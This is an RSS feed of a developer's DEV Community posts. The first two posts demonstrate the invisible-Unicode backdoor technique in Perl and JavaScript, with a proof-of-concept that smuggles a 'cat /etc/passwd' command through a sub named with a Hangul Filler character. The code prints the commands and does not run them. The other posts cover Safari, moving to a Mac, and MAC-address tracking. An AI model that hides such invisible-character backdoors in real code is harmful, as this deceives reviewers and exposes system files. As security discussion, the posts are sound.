<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dave Jacoby</title>
    <description>The latest articles on DEV Community by Dave Jacoby (@jacoby).</description>
    <link>https://dev.to/jacoby</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3506%2Fd563bbf3-6636-49bf-b704-e38a0d0195f4.jpg</url>
      <title>DEV Community: Dave Jacoby</title>
      <link>https://dev.to/jacoby</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jacoby"/>
    <language>en</language>
    <item>
      <title>I Met A Var That Wasn’t There: Return of the Spectre of Unicode in Perl</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Thu, 11 Nov 2021 22:10:20 +0000</pubDate>
      <link>https://dev.to/jacoby/i-met-a-var-that-wasnt-there-return-of-the-spectre-of-unicode-in-perl-1dfa</link>
      <guid>https://dev.to/jacoby/i-met-a-var-that-wasnt-there-return-of-the-spectre-of-unicode-in-perl-1dfa</guid>
      <description>&lt;p&gt;&lt;a href="https://jacoby.github.io/2021/11/10/wont-somebody-think-of-the-children-the-spectre-of-unicode-in-perl.html"&gt;I can’t let it go.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, let’s make an exploit!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env perl

use strict;
use warnings;
use experimental qw{ say signatures state };

use utf8;

if (1) {
    my $timeout;
    ( $timeout, ㅤ() ) = poorly_trusted_code_from_elsewhere();
    my @array = ( 'curl -s http://perl.com/', 'ping -c 1 purdue.pl', ㅤ() );

    for my $cmd (@array) {
        say $cmd;
        sleep $timeout;
    }
    say join "\n", @array;
    exit;
}

sub ㅤ : lvalue {
    state @array;
    @array = 1 .. 10 unless scalar @array;
    if ( scalar @_ ) {
        @array = @_;

        # say instead of a try {exec()} catch {};
        # because I'm just trying to make a point
        say join ' - ', @array;
    }
    else { return @array }
}

sub poorly_trusted_code_from_elsewhere () {
    return ( 4, 'cat /etc/passwd' );
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(&lt;code&gt;if (1){ ,,, ; exit}&lt;/code&gt; is a convention I use in my &lt;code&gt;test&lt;/code&gt; files, where I work to see if I can do the code thing I’m thinking about, not actually solving the problem, and because there can be dozens of things I’m poking at, I put them in this simple if statement and exit out, occasionally turning it to &lt;code&gt;if (0)&lt;/code&gt; and certainly stopping things at the end of the block.)&lt;/p&gt;

&lt;p&gt;So, rather than actually stand up an untrustworthy server, I’m mockig it with &lt;code&gt;poorly_trusted_code_from_elsewhere&lt;/code&gt;, and having it return a command that … well, we use shadow passwords, so passing &lt;code&gt;/etc/passwd&lt;/code&gt; isn’t the horror it was in the 1990s, but still, don’t.&lt;/p&gt;

&lt;p&gt;Then we have a for loop that handles all the commands, in this case &lt;code&gt;say&lt;/code&gt;ing them rather than running them, because I don’t &lt;em&gt;really&lt;/em&gt; want to get the source code to &lt;a href="https://www.perl.com/"&gt;Perl.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If I run this with &lt;code&gt;use utf8&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./exploit.pl
HOLY SIGNIFICANT WHITESPACE, BATMAN!
HOLY SIGNIFICANT WHITESPACE, BATMAN!
curl -s http://perl.com/
ping -c 1 purdue.pl
cat /etc/passwd
curl -s http://perl.com/
ping -c 1 purdue.pl
cat /etc/passwd

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I comment it out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./exploit.pl
Unrecognized character \xE3; marked by &amp;lt;-- HERE after $timeout, &amp;lt;-- HERE near column 17 at ./exploit.pl line 11.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And, if I run &lt;code&gt;perlcritic&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Problem while critiquing "exploit.pl": Can't parse code: Encountered unexpected character '227'

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But then, you have &lt;code&gt;sub ㅤ : lvalue { ... }&lt;/code&gt; right in your program. &lt;strong&gt;“Hey Joe”&lt;/strong&gt; , you ask. &lt;strong&gt;“What’s the deal with this nameless subroutine you put in my code?”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So, instead, Joe writes &lt;code&gt;BadMod&lt;/code&gt;, a bad module that does bad things.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package BadMod;

use strict;
use warnings;
use experimental qw{ say signatures state };
use utf8;

use Exporter qw{import};
our @EXPORT = qw{
    poorly_trusted_code_from_elsewhere
    ㅤ
};

sub ㅤ : lvalue {
    say 'HOLY SIGNIFICANT WHITESPACE, BATMAN!';
    state @array;
    @array = 1 .. 10 unless scalar @array;
    if ( scalar @_ ) {
        @array = @_;

        # say instead of a try {exec()} catch {};
        # because I'm just trying to make a point
        say join ' - ', @array;
    }
    else { return @array }
}

sub poorly_trusted_code_from_elsewhere () {
    return ( 4, 'cat /etc/passwd' );
}

1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And there’s nothing &lt;em&gt;too&lt;/em&gt; noticable in the main code, beyond &lt;code&gt;()&lt;/code&gt; in places that kinda smell, and a warning on &lt;code&gt;perlcritic&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env perl

use strict;
use warnings;
use experimental qw{ say signatures state };
use utf8;

use lib '.';
use BadMod;

if (1) {
    my $timeout;
    ( $timeout, ㅤ() ) = poorly_trusted_code_from_elsewhere();
    my @array = ( 'curl -s https://perl.com/', 'ping -c 1 purdue.pl', ㅤ() );

    for my $cmd (@array) {
        say $cmd;
        sleep $timeout;
    }
    say join "\n", @array;
    exit;
}


$ ./exploit.pl
HOLY SIGNIFICANT WHITESPACE, BATMAN!
HOLY SIGNIFICANT WHITESPACE, BATMAN!
curl -s https://perl.com/
ping -c 1 purdue.pl
cat /etc/passwd
curl -s https://perl.com/
ping -c 1 purdue.pl
cat /etc/passwd

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;exploit.pl&lt;/code&gt; still fails &lt;code&gt;perlcritic&lt;/code&gt; has weird code-smelly braces in there.&lt;/p&gt;

&lt;p&gt;So, if you write BadMod a bit like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package BadMod;

# pseudocode, this won't actually run
my @bad_commands;

sub poorly_trusted_code_from_elsewhere () {
    push @bad_commands, 'cat /etc/passwd' ;
    return 4;
}

sub execute_commands ( @good_commands ) {
    push @good_commands, @bad_commands;
    for my $cmd (@good_commands) {
        say $cmd;
        sleep $timeout;
    }
}

1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just rename &lt;code&gt;@bad_commands&lt;/code&gt; to something more innouous and fill the module with dead code, obfuscated code and a thousand globals and you could never tell there’s a problem, and it will pass &lt;code&gt;perlcritic&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So, could I get &lt;code&gt;exploit.pl&lt;/code&gt; to ‘execute’ things that it shouldn’t? Definitely.&lt;/p&gt;

&lt;p&gt;Are there better ways to get exploit code into a code base that &lt;em&gt;don’t&lt;/em&gt; use a character set that can be easily turned off on a whim and don’t trigger any of the default Perl::Critic policies? Absolutely.&lt;/p&gt;

&lt;p&gt;Is this something you should be aware of? Sure.&lt;/p&gt;

&lt;p&gt;Should anyone be afraid of using a character set that allows the use of letters foreigners use (like لؤلؤة) or images the kids use while texting (like 🍆)? So afraid they categorize it over real threats or problems? No. That doesn’t make a lick of sense.&lt;/p&gt;

&lt;h4&gt;
  
  
  If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io"&gt;make an issue on my blog repo.&lt;/a&gt;
&lt;/h4&gt;

</description>
    </item>
    <item>
      <title>“Won’t SOMEBODY Think Of The Children?!?!?”: The Spectre of Unicode in Perl</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Wed, 10 Nov 2021 19:33:17 +0000</pubDate>
      <link>https://dev.to/jacoby/wont-somebody-think-of-the-children-the-spectre-of-unicode-in-perl-5eh3</link>
      <guid>https://dev.to/jacoby/wont-somebody-think-of-the-children-the-spectre-of-unicode-in-perl-5eh3</guid>
      <description>&lt;p&gt;Having lived through the 1980s, I’m not a big fan of Moral Panics, where there’s a whole lot of “What if…?” and “We must &lt;em&gt;protect ourselves&lt;/em&gt;!” and not a whole lot of really understanding the issue. I say “issue” instead of “problem” because I find there isn’t one.&lt;/p&gt;

&lt;p&gt;So, I look on &lt;a href="https://www.reddit.com/r/perl/"&gt;r/perl&lt;/a&gt; and avoiding other things, and I see &lt;a href="https://www.reddit.com/r/perl/comments/qqw26x/scary_hard_to_detect_code_hiding/"&gt;“Scary, hard to detect code hiding”&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It points to a &lt;a href="https://certitude.consulting/blog/en/invisible-backdoor/"&gt;blog post&lt;/a&gt; where they demonstrate how to use space-like unicode characters in Javascript. Specifically, they use &lt;code&gt;ㅤ&lt;/code&gt;. That’s &lt;a href="https://www.compart.com/en/unicode/U+3164"&gt;Hangul Filler&lt;/a&gt;, kids! You can read the whole thing, but in essence, they do an AJAX call where they can send another command that does what &lt;em&gt;it&lt;/em&gt; wants, hides it in &lt;code&gt;ㅤ&lt;/code&gt;, then execs &lt;code&gt;ㅤ&lt;/code&gt; after a &lt;code&gt;ping&lt;/code&gt; and &lt;code&gt;curl&lt;/code&gt;, and because the dev never sees &lt;code&gt;ㅤ&lt;/code&gt; (unless they have space hightlighting turned on in their editor), they never even think that the non-JS “ending” commas are not actually “ending”.&lt;/p&gt;

&lt;p&gt;I mean, &lt;strong&gt;Holy Significant Whitespace, Batman!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To quote the person sending this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Perl must be vulnerable to some if not all of these. What tools do we have/should we have in the perl ecosystem to help detect and warn or block these code smells?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To my mind, Perl &lt;em&gt;comes&lt;/em&gt; with the solution to this.&lt;/p&gt;

&lt;p&gt;Sigils. And &lt;code&gt;no utf-8&lt;/code&gt; by default, but mostly sigils.&lt;/p&gt;

&lt;p&gt;Perl has some &lt;em&gt;nice&lt;/em&gt; Unicode support, but lots of it is not what you think it is or want it to be. I would &lt;em&gt;♥&lt;/em&gt; it if &lt;code&gt;use utf-8&lt;/code&gt; did the work of telling all the filehandles, but you have to do &lt;code&gt;binmode STDOUT, ':utf8'&lt;/code&gt; instead. Mostly what you get from &lt;code&gt;utf-8&lt;/code&gt; is the ability to use Unicode &lt;em&gt;in&lt;/em&gt; your code. That’s a &lt;em&gt;fun&lt;/em&gt; thing, but I’m not sure it’s &lt;em&gt;useful&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env perl

use strict;
use warnings;
use experimental qw{ say };

use utf8;

if (1) {
    my $π = 3.14159;
    my $ㅤ = 'blank';
    say join '|', 1, $π, $ㅤ, 2;
    exit;
}

__DATA__

1|3.14159|blank|2

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here I’m using &lt;code&gt;$π&lt;/code&gt; instead of &lt;code&gt;$pi&lt;/code&gt; to hold the first handful of digits of Pi. I used to work in academic research, and there, PI means Primary Investigator, so having the Unicode character tells me that I’m definitely dealing with a mathematical constant and not a professor’s name. Because I don’t want to go over Unicode tables or search &lt;code&gt;pi unicode&lt;/code&gt; whenever I want to use a variable name, I will likely only use this rarely.&lt;/p&gt;

&lt;p&gt;Also, in a decade of coding for the lab, I never had to identify an important client and find the circumference of a circle in the same program. 😀&lt;/p&gt;

&lt;p&gt;This is the important part of the example code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.get('/network_health', async (req, res) =&amp;gt; {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];
    ...
});

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you had this and formatted it, most JS formatters will remove the trailing commas, but here they survive it, because it’s really …&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app.get('/network_health', async (req, res) =&amp;gt; {
    const { timeout, HANGUL_FILLER} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/', HANGUL_FILLER
    ];
    ...
});

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And whatever &lt;code&gt;/network_health&lt;/code&gt; sends long with the timeout will be run as you in the try/catch promise block I cut out for space.&lt;/p&gt;

&lt;p&gt;But, while trailing commas are not liked in the JS world, they’re incredibly common in Perl. (Or maybe they’re possible in Perl and I just &lt;em&gt;really&lt;/em&gt; like them, because I want to be able to easily reorder the arrays I build by hand. YMMV.)&lt;/p&gt;

&lt;p&gt;So, I get why, in non-Perl languages, you would have problems, and you might want to add a pre-commit hook that searches for &lt;code&gt;HANGUL_FILLER&lt;/code&gt; in your code, but in Perl?&lt;/p&gt;

&lt;p&gt;&lt;code&gt;my ($timeout, $ㅤ) = suspect_function()&lt;/code&gt; and &lt;code&gt;my @commands = ( 'ping -c 1 google.com', 'curl -s http://example.com/', $ㅤ)&lt;/code&gt; &lt;em&gt;will&lt;/em&gt; look funny, because when in Perl do you just see &lt;code&gt;$&lt;/code&gt; just hanging there? Same thing with &lt;code&gt;@&lt;/code&gt; and &lt;code&gt;%&lt;/code&gt; and &lt;code&gt;&amp;amp;&lt;/code&gt;, mostly.&lt;/p&gt;

&lt;p&gt;I mean, look at this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use utf8;
if (1) {
    my $π = 3.14159;
    my $ㅤ = 'blank';
    say join '|', 1, $π, $ㅤ, 2, &amp;amp;ㅤ, ㅤ(), 3;
    exit;
}

sub ㅤ () {
    return 'HANGUL_FILLER';
}
__DATA__
1|3.14159|blank|2|HANGUL_FILLER|HANGUL_FILLER|3

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With masterful symbol table manipulation, you can stick &lt;code&gt;&amp;amp;ㅤ&lt;/code&gt; or &lt;code&gt;ㅤ()&lt;/code&gt; (the function answers to both) into &lt;code&gt;main&lt;/code&gt; from a library, but that’s it’s own issue.&lt;/p&gt;

&lt;p&gt;I suppose I could try to do &lt;code&gt;104 %ㅤ 20&lt;/code&gt;, but I can’t think of where &lt;code&gt;digit %hash digit&lt;/code&gt; won’t immediatly be a syntax error. Same thing with &lt;code&gt;digit @array digit&lt;/code&gt;. But &lt;code&gt;&amp;amp;&lt;/code&gt;…&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use experimental qw{ say signatures state };
use utf8;

if (1) {
    my $x = 0;
    my $π = 3.14159;
    my $ㅤ = 'blank';
    say join '|', 1, $π, $ㅤ, 2, &amp;amp;ㅤ, ㅤ(), 3;
    ( $x, ㅤ($π) ) = ( 'lvalue', 'test' );
    exit;
}

sub ㅤ : lvalue ( $a='a', $b='b' ) {
    say join '|', $a, $b;
    return 'HANGUL_FILLER';
}
__DATA__

a|b
a|b
1|3.14159|blank|2|HANGUL_FILLER|HANGUL_FILLER|3
3.14159|b
Can't return a readonly value from lvalue subroutine at ./test.pl line 25.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, we have the &lt;code&gt;HANGUL_FILLER&lt;/code&gt; subroutine, now defined as an lvalue, meaning it can sit on either side of the assignment. Here there’s an error because I have forgotten (if I ever knew) how to tell if the function’s being used in an lvalue context, but if I had it at hand, I would certainly &lt;code&gt;if&lt;/code&gt; it. But there, yes.&lt;/p&gt;

&lt;p&gt;And really, if someone is mucking around with your symbol table,&lt;/p&gt;

&lt;p&gt;&lt;code&gt;($x,()) = 1..20&lt;/code&gt; is &lt;em&gt;valid&lt;/em&gt;, with &lt;code&gt;$x&lt;/code&gt; getting 1 and the rest of the numbers dropping on the ground. But looking at that, I would likely shorten it to &lt;code&gt;($x)=1..20&lt;/code&gt; anyway, so &lt;code&gt;( $x, ㅤ() )&lt;/code&gt; would just look like a code smell.&lt;/p&gt;

&lt;p&gt;So, personally, I’m not worried. There’s enough you can do if you own &lt;code&gt;BadModule&lt;/code&gt; and I &lt;code&gt;use BadModule&lt;/code&gt; that throwing &lt;code&gt;ㅤ()&lt;/code&gt; into this is the least of my worries, especially knowing that &lt;code&gt;before&lt;/code&gt;, &lt;code&gt;after&lt;/code&gt; and &lt;code&gt;around&lt;/code&gt; can redefine &lt;em&gt;so&lt;/em&gt; &lt;em&gt;much&lt;/em&gt; of the functionality I expect. I see this as a non-issue, but one that could be caught with git hooks and regular expressions. Maybe I should write a Perl::Critic module for this?&lt;/p&gt;

&lt;h4&gt;
  
  
  If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io"&gt;make an issue on my blog repo.&lt;/a&gt;
&lt;/h4&gt;

</description>
    </item>
    <item>
      <title>What Do Front-End Devs Think About Safari?</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Fri, 22 May 2020 00:19:25 +0000</pubDate>
      <link>https://dev.to/jacoby/what-do-front-end-devs-think-about-safari-4855</link>
      <guid>https://dev.to/jacoby/what-do-front-end-devs-think-about-safari-4855</guid>
      <description>&lt;p&gt;I'm mostly a back-end guy, and have by and large worked with Firefox and Chrome being the browsers of choice, and have only had two issues with Safari (see below). As of today, I may have a third, but I may just have a configuration issue. So, please, what do you think about Safari? Is it the new IE 6? Is it considered decent? What do you think?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Look at this URI: &lt;code&gt;http:/~foo/&lt;/code&gt; It's &lt;strong&gt;wrong&lt;/strong&gt;. You stick it in the browser and it doesn't work, but put it in a page and it will just assume the current server. It's just one step away from &lt;code&gt;/~foo/&lt;/code&gt;, right? At least that's the logic my coworker had, but it broke the page for some users. When I had this issue in 2012, it worked in Firefox and Chrome and Opera and IE, but, I figured out by the logs, not Safari. The issue is that every other browser supported it — I don't know if they still do — and Safari didn't.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HTML5 added an Audio API. To learn it, I created a page where, when you go there, you got an old-school pre-VOIP dial tone, which is actually two tones. But the &lt;a href="https://developers.google.com/web/updates/2017/09/autoplay-policy-changes"&gt;Secret Masters of HTML decided that pages making noise without us saying "you can make noise" is a &lt;em&gt;bad&lt;/em&gt; thing&lt;/a&gt;, and so I rewrote it so that, and I asked my wife to check on the iPhone and it wouldn't play. I never fully figured out the issue between iOS Safari and my HTML5 stuff, but I installed a WebKit-based browser on my Linux box to try to work it out, and I don't believe I ever fully did.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, that's my bits. What do you think about Safari? Do you have any Safari stories?&lt;/p&gt;

</description>
      <category>safari</category>
      <category>discuss</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Transitioning from Ubuntu/Windows+WSL to Mac?</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Thu, 24 Oct 2019 14:53:10 +0000</pubDate>
      <link>https://dev.to/jacoby/transitioning-from-ubuntu-windows-wsl-to-mac-46np</link>
      <guid>https://dev.to/jacoby/transitioning-from-ubuntu-windows-wsl-to-mac-46np</guid>
      <description>&lt;p&gt;I have accepted a new position, starting next month, and will be issued a MacBook. I have worked from Windows, Solaris or Linux from all of my development career, and have a bag of tricks that is based on that. &lt;/p&gt;

&lt;p&gt;I mean, I've touched Macs, but last time one was close to my daily driver, it was System 7.&lt;/p&gt;

&lt;p&gt;Yes, I'm old.&lt;/p&gt;

&lt;p&gt;What suggestions do you have for someone moving from Linux on the Desktop (and also Win/WSL) to Mac?&lt;/p&gt;

</description>
      <category>tools</category>
      <category>dev</category>
      <category>transition</category>
    </item>
    <item>
      <title>MAC and Me: How Many MAC Addresses Are On Me Right Now?</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Tue, 08 Oct 2019 14:21:44 +0000</pubDate>
      <link>https://dev.to/jacoby/mac-and-me-how-many-mac-addresses-are-on-me-right-now-1cab</link>
      <guid>https://dev.to/jacoby/mac-and-me-how-many-mac-addresses-are-on-me-right-now-1cab</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;This is an idle thought that I didn’t finish, but accidentally posted instead of another post yesterday, so I’m gonna fix.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are thoughts that computer professionals ask that other people don’t, and as long as we only ask these things of ourselves and other computer professionals, we won’t be thought of as &lt;em&gt;too&lt;/em&gt; weird.&lt;/p&gt;

&lt;p&gt;In this case, the thought that came to me as I packed up to go to my local coworking space, was “How many MAC addresses are on me right now?”&lt;/p&gt;

&lt;h2&gt;
  
  
  What’s A MAC Address?
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;MAC&lt;/em&gt; stands for &lt;em&gt;Media Access Control&lt;/em&gt; is is how computers identify each other over the network. Instead of diving into the magic of ARP…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metaphor Time!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You go to your favorite coffee shop and order a latte. They ask for your name, write it on the cup, and start to prepare your caffeinated drink.&lt;/p&gt;

&lt;p&gt;Eventually, after the brewing and the pouring and all, they call out the name you gave, and you come to collect the beverage.&lt;/p&gt;

&lt;p&gt;MAC addresses serve as your device’s name in the networking context. It cannot receive the packets (the “coffee” in the metaphor) unless it answers to the name it gave.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;“…the name it gave.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I emphasize this because it doesn’t &lt;em&gt;have&lt;/em&gt; to be your name, or any name you have ever had. At a conference last year, I organized a “Dave BOF” after realizing that there were at least five other Daves in the conference, my name is so common. So I often give the name &lt;a href="https://buffy.fandom.com/wiki/Clement"&gt;“Clem”&lt;/a&gt; at coffee shops, because that name’s &lt;em&gt;rare&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;And let’s dive down on &lt;em&gt;it&lt;/em&gt; a bit. These things are unique to the networking device, which means if you switch your cards to another computer (which, in the days of desktop computers, I used to do), that MAC address went with it. In our coffee shop metaphor, I might generally say “Clem”, but go by “Larry” to the barista who is a bit &lt;em&gt;too much&lt;/em&gt; of a &lt;em&gt;Buffy the Vampire Slayer&lt;/em&gt; fanboy.&lt;/p&gt;

&lt;p&gt;In a less metaphorical sense, I’ve heard stories of high-availability servers have their fail-over machines replicate their MAC addresses, so that the traffic never stops. It strikes me that, with Kubernetes and load-balancing and everything we’ve developed in the last 20 years, this is not something we do with new systems, but I could be wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Count
&lt;/h2&gt;

&lt;p&gt;Headphones: Bluetooth. &lt;strong&gt;1 MAC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;FitBit: Bluetooth. &lt;strong&gt;1 MAC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Android Tablet: Bluetooth and WiFi. &lt;strong&gt;2 MACs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Bluetooth keyboard: Bluetooth. Duh. &lt;strong&gt;1 MAC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Laptop: Bluetooth and WiFi. &lt;strong&gt;2 MACs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;USB-to-Wired-Ethernet dongle. &lt;strong&gt;1 MAC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Logitech Unifyng dongle: Unifying is like Bluetooth but different. We’ll say &lt;strong&gt;1 MAC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Logitech presentation remote: I &lt;em&gt;know&lt;/em&gt; that these things have unique dongles, use non-IR protocols so line-of-sight isn’t required, and for this to be true, it must use some sort of pre-Unifying networking protocol, so I have to assume &lt;strong&gt;2 MACs&lt;/strong&gt; , for the dongle and device, although I cannot prove it.&lt;/p&gt;

&lt;p&gt;Raspberry Pi Zero: I put it together as a conference nametag. It’s a full computer, more powerful than many I used professionally in my life, and I used it to run an e-ink display. Anyway, it is in my backpack, and has onboard WiFi and Bluetooth. &lt;strong&gt;2 MACs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Android Phone: Here we get a new one. It has Bluetooth (I’m listening to &lt;em&gt;Purple Rain&lt;/em&gt; on the above-mentioned headphones over Bluetooth), and WiFi, but it can also talk to my cellular provider’s data network. I have to say 3, but there’s a digression from what I’ve seen.&lt;/p&gt;

&lt;p&gt;Should I count &lt;a href="https://en.wikipedia.org/wiki/Mobile_equipment_identifier"&gt;MEID/IMEI&lt;/a&gt;?&lt;/p&gt;

&lt;p&gt;So, 16 uniquely-identifying numbers that my devices throw around.&lt;/p&gt;

&lt;h2&gt;
  
  
  Digression
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;1X/3G/4G interfaces on cellular devices do have a MAC address, but those MACs are dynamically assigned and change on every reboot of the device… this is because MAC addresses only apply to IEEE 802 technologies, of which cellular networks are not.&lt;/p&gt;

&lt;p&gt;So yes, cellular networks are dynamically assigned a MAC address on a smartphone when that device is powered on or rebooted, however, these dynamically assigned MACs cannot be used in a firewall (it would literally be pointless to do so).&lt;/p&gt;

&lt;p&gt;– &lt;a href="https://serverfault.com/a/680203/19323"&gt;ServerFault&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is answering a question that isn’t ours, but it seems that, for some of our cellular networking protocols, your device is not permanently unique.&lt;/p&gt;

&lt;p&gt;This can be good: Your phone checks for cells, and those are logged and can be used to track you. iOS creates a random MAC for this. (I deleted the link to the source on that one; sorry!)&lt;/p&gt;

&lt;p&gt;So, I might get to dock one.&lt;/p&gt;

&lt;h2&gt;
  
  
  And Why Should I Care?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Maybe you shouldn’t.&lt;/strong&gt; As I pointed out when I started this, this is just geeky weirdness that will make your eyes glaze over.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TCP/IP.&lt;/strong&gt; We can skip the Bluetooth and Logitech MACs for a moment to point out that there are five MACs – tablet WiFi, phone WiFi, laptop WiFi, wired networking dongle and phone cellular – that also need an IP address. More than one, as they’re all mobile and moved between home, office, coffee shop and co-working space. With IPv4 networking, there are 4,294,967,296 available addresses. We wallpaper over this a lot with NAT, but the big solution is to move to IPv6, which we, by and large, haven’t done. This is computing’s current impending-disaster-we’re-ignoring-for-now. Or at least one of them.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Tracking.&lt;/strong&gt; This is the most important one, to the right people. If I’m sniffing for Bluetooth devices and looking for my boss’ fitness tracker, so I know that he’s right behind me while I’m coding or blogging, that’s one thing, but if instead, it’s a retail location identifying repeat shoppers by sniffing for BT and WiFi, it’s perhaps a little bit more suspect, and if it’s an angry ex, putting a sniffer along an exercise trail to determine the other’s schedule in order to plan something dire, we’ve gone into dangerous territory.&lt;/p&gt;

&lt;p&gt;As Leslie Carhart wrote, &lt;a href="https://twitter.com/hacks4pancakes/status/986336829262782465"&gt;“Knowing your personal threat model is important!”&lt;/a&gt;, and your health and connectivity might trump these issues, but I really think this is something you should consider.&lt;/p&gt;

&lt;h4&gt;
  
  
  If you have any questions or comments, I would be glad to hear it. Ask me on &lt;a href="https://twitter.com/jacobydave"&gt;Twitter&lt;/a&gt; or &lt;a href="https://github.com/jacoby/jacoby.github.io"&gt;make an issue on my blog repo&lt;/a&gt;.
&lt;/h4&gt;

</description>
    </item>
    <item>
      <title>Scripting the Dropbox API</title>
      <dc:creator>Dave Jacoby</dc:creator>
      <pubDate>Thu, 19 Sep 2019 16:17:51 +0000</pubDate>
